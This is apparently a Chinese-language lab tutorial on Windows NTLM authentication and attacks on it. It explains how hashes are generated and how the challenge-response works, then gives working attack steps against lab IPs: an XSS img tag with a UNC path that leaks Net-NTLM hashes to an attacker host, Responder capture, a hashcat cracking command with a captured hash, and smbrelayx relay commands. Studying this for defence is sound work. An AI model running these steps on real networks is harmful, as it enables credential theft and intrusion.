NTLM 认证
基础知识
Windows 本地认证
认证的密码储存在 SAM 文件中,其位置为 C:/Windows/system32/config/sam,SAM(security account manager)意思是安全账号管理器,其作用是对 Windows 账户安全管理,删除该文件即可删除账号密码。 登录认证会从该文件读取里面的加密后的密码(NTLM hash)和用户输入的密码进行对比。
NTLM hash 生成流程
- 将明文口令转换成十六进制的格式
- 转换成 Unicode 格式,即在每个字节之后添加 0x00
- 对 Unicode 字符串作 MD4 加密,生成 32 位的十六进制数字串 NTLM hash 支持 Net NTLM 认证协议以及本地认证协议。其前身为 LM Hash(LM算法脆弱,响应存在一些缺陷。主要出现在xp,03之下的系统)
Net-NTLM 认证流程
- 协商:主要用于确认双方协议版本
- 质询:就是挑战(Challenge)/响应(Response)认证机制起作用的范畴。
- 验证:验证主要是在质询完成后,验证结果,是认证的最后一步。
质询的完整过程
Net-NTLM v2 加密流程
- 客户端向服务器端发送用户信息(用户名)请求
- 服务器接受到请求,生成一个 16 位的随机数,被称之为“Challenge”, 使用登录用户名对应的 NTLM Hash 加密 Challenge(16位随机字符), 生成 Challenge1。生成一个 Net-NTLM Hash 存在内存中,同时,生成 Challenge1 后,将 Challenge(16位随机字符)发送给客户端。
- 客户端接受到 Challenge 后,使用将要登录到账户对应的 NTLM Hash 加密 Challenge 生成 Response,然后将 Response 发送至服务器端。
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash。 验证: 服务器端收到客户端的 Response 后,比对 Chanllenge1 与 Response 是否相等,若相等,则认证通过。 注意:
- Chanllenge 是 Server 产生的一个 16 字节的随机数,每次认证都不同
- Response 的表现形式是 Net-NTLM Hash,它是由客户端提供的密码 Hash 加密 Server 返回的 Chanllenge 产生的结果。
- SMB 走的也是 Net-NTLM 协议。
Net-NTLMv1加密流程
- 客户端向服务器发送一个请求
- 服务器接收到请求后,生成一个 8 位的 Challenge,发送回客户端
- 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,作为 response 发送给服务器
- 服务器校验 response
两者的流程可以说是相同的,但加密算法不同,后者Net-NTLMv1相对脆弱 质询抓包分析 使用域户向域控共享目录发起请求

在域用户机器上Wireshark抓包如下:

步骤上质询有四步,可以将其看为一发一收两个来回 第一发:基础信息发送

第一收:获取对方生成并发过来的 Challenge

第二发:将要登录到账户对应的NTLM Hash加密Challenge生成Response并发给服务器

第二收:服务器校验response并返回结果
有个非常值得关注的点:
- 当用户进行涉及Net-NTLM认证的访问时系统默认会先将本地NTLM hash去走一遍Net-NTLM验证。
NTLM 本地认证流程
winlogon.exe -> 接收用户输入 lsass.exe -> 认证
工作组认证和域环境认证的区别: 工作组:点对点交易,无法相互信任。 域环境:有信托机构(域),相当于闲鱼卖东西需要闲鱼官方担保。
攻击 NTLM
基础知识
最常见Pass The Hash 也就是Hash传递这一手法是就是利用Net-NTLM hash进行攻击的,仔细分析过Windows认证机制机制后会发现它就类似与一个web方面的重放攻击。 比如: 在一些条件下通过中间人抓到了站点登录后台登录时的Web流量,但是登录密码被前端加密了(比如MD5),hash值无法解密,这时候我们只需要重放这个登陆包就可以完成后台登录认证。 在Net-NTLM认证过程中Net-NTLM hash传递发生在质询第二个包:

里面最关键的字段是用户名以及Response。缺一不可,所以原则上来说进行Hash传递的条件有两:
- 抓到的Net-NTLM hash字段
- hash对应的用户名。个人不觉得能访问目标算条件,不能访问目标或者访问错误的目标想去搞Hash传递攻击本身就是个扯犊子的事情,就像Web重放一样,A站点的包你去重放给截然不同的B本身就很扯。关于协议版本对的上也是个人的总结,因为Net-NTLM协议在不同的版本上又可细分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法。v1和v2在windows认证机制的学习中已经提到过其不同的地方。
Net-NTLM Hash窃取
相关Hash会出现三个地方:
- SAM数据库
- Lsass进程
- 传输过程前面已经做过总结,之所以能够读到明文时因为去dump了lsass中缓存的用户输入得到明文,如果明文缓存不存在的情况下(比如2012/10以后系统wdigest默认没开启,明文不存在),读到的其实可以理解为都是NTLM hash。值得注意的是:
- Net-NTLM hash和NTLM hash不是一回事。
- Net-NTLM hash是Net-NTLM认证过程客户端第二次发送给服务端的包中的response字段。
了解完成就会明白Net-NTLM hash的窃取主要发生在传输环节,传输环节的攻击无非三个点。 第一是传输前就截取到数据包,类似与Hook app的发包接口获取明文 第二是中间人攻击获取 第三是在接收方获取。 第一个环节明显需要以及有对方能够控制底层流量权限,既然有了还搞啥Hash传递;第二个环节不少很了解,后续再学习;第三个环节需要接收方获取,通常情况下是控到刚好会被目标使用NILM认证访问的几率是很小的。不过可以伪造NTLM认证服务端,再配合其他漏洞进行利用。 比如XSS:
<img src="\\192.168.49.163\TheKingOfDuck.png">
img标签是支持smb协议,然后smb协议本质上走的NTLM认证,NTLM认证在用户输入凭证前又会默认使用本地NTLM Hash先进行认证一遍,所以在无法Getshell的情况下,就可以伪造一个smb客户端,再通过该手法获取到Net-NTLM Hash,最后执行解密工作或hash传递攻击
Responder 伪造认证服务端: 伪造一个Net-NTLM协议认证服务端,当用户进行访问时系统默认会先将本地 Net-NTLM hash 进行验证,该 hash 可进行碰撞解密获取密码。

在目标机器上访问伪造的客户端(可以是多种形式,比如上面说到的xss获取)

获得Net-NTLM hash:

Net-NTLM Hash 利用
Net-NTLMv1 Hash加密策略远弱于v2,拿到Net-NTLM v1 hash就约等于NTLM HASH,v2在暴力破解不成功的情况下就可以考虑Relay攻击
Net-NTLM v2 hash暴力破解
将Responder获取到的Net-NTLM hash交给hashcat进行暴力破解(内存至少需要 4G,否则会报内存不够的错误)
hashcat -m 5600 Administrator::TEST:7a40b9a2cb25673f:76CB45BB484D94A0D6F8DF722E33CE8D:0101000000000000800D152F02E7D901D9278D01116E24B00000000002000800560037004B00330001001E00570049004E002D00590059004400420058005400490042004B004300470004003400570049004E002D00590059004400420058005400490042004B00430047002E00560037004B0033002E004C004F00430041004C0003001400560037004B0033002E004C004F00430041004C0005001400560037004B0033002E004C004F00430041004C0007000800800D152F02E7D901060004000200000008003000300000000000000000000000002000004BC46889402D2E11EF6379239B7E3DB0240359EA17696E72A4384FAB87B4B9F00A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00340039002E00310036003300000000000000000000000000 pass.txt --force
如果是 Net-NTMLv1 的格式,-m 后面的参数写 5500 成功爆破密码

Net-NTLM v2 hash Relay
如果不能爆破密码,就需要使用中继了 以relay2smb为例: 利用条件有两个:
- 目标机器不能开启smb签名,否则利用无效,一般情况下,windows server会默认开启,而windows单机系统[win 7/8/8.1/10]默认都不会开。
- 对一些打了 ms08-068[KB957097] 补丁的老系统[比如windows xp/2003以下的系统利用无效。值得一提的是域控默认开启smb签名的,其他默认没开
- relay对象 192.168.49.185 (win7)
- 攻击机 192.168.49.163(Kali)
- relay到 192.168.49.180 (2012)
在 kali 使用nmap来检查签名是否开启,smbrelayx.py 模块来发起relay攻击
nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.49.185

(message_signing: disabled 即可,Responder 自带的 Runfinger 也可以,不用检查也可以,Multirelay 也会自动检查的) 在 kali 上开启 relay
cd /usr/share/doc/python3-impacket/examples/
python smbrelayx.py -h 192.168.49.187 -c whoami
在 2012 上执行
dir \\192.168.49.163\C$
即可 relay 成功。


总结
大多数情况攻击 NTLM 能成功都是因为 NTLM 在认证是默认会先使用本地hash去登录目标服务,因此可以制造各种机会去获取到 Net-NTLM hash 再进一步解密操作。
- Net-NTLM v1 hash 相对容易破解,拿到就约等于拿到了 NTLM hash
- Net-NTLM v2 hash 需要暴力破解
- NTLM-Relay 攻击的姿势很多,工具也多,msf/smbrelayx.py/Responderroot
- 触发让系统发送NTLM请求的地方非常多。因为很多地方都支持UNC路径
比如:
- xss
- 各种图标(desktop.ini、scf文件、用户头像)
- pdf/word
- outlook
- xxe/ssrf
- etc...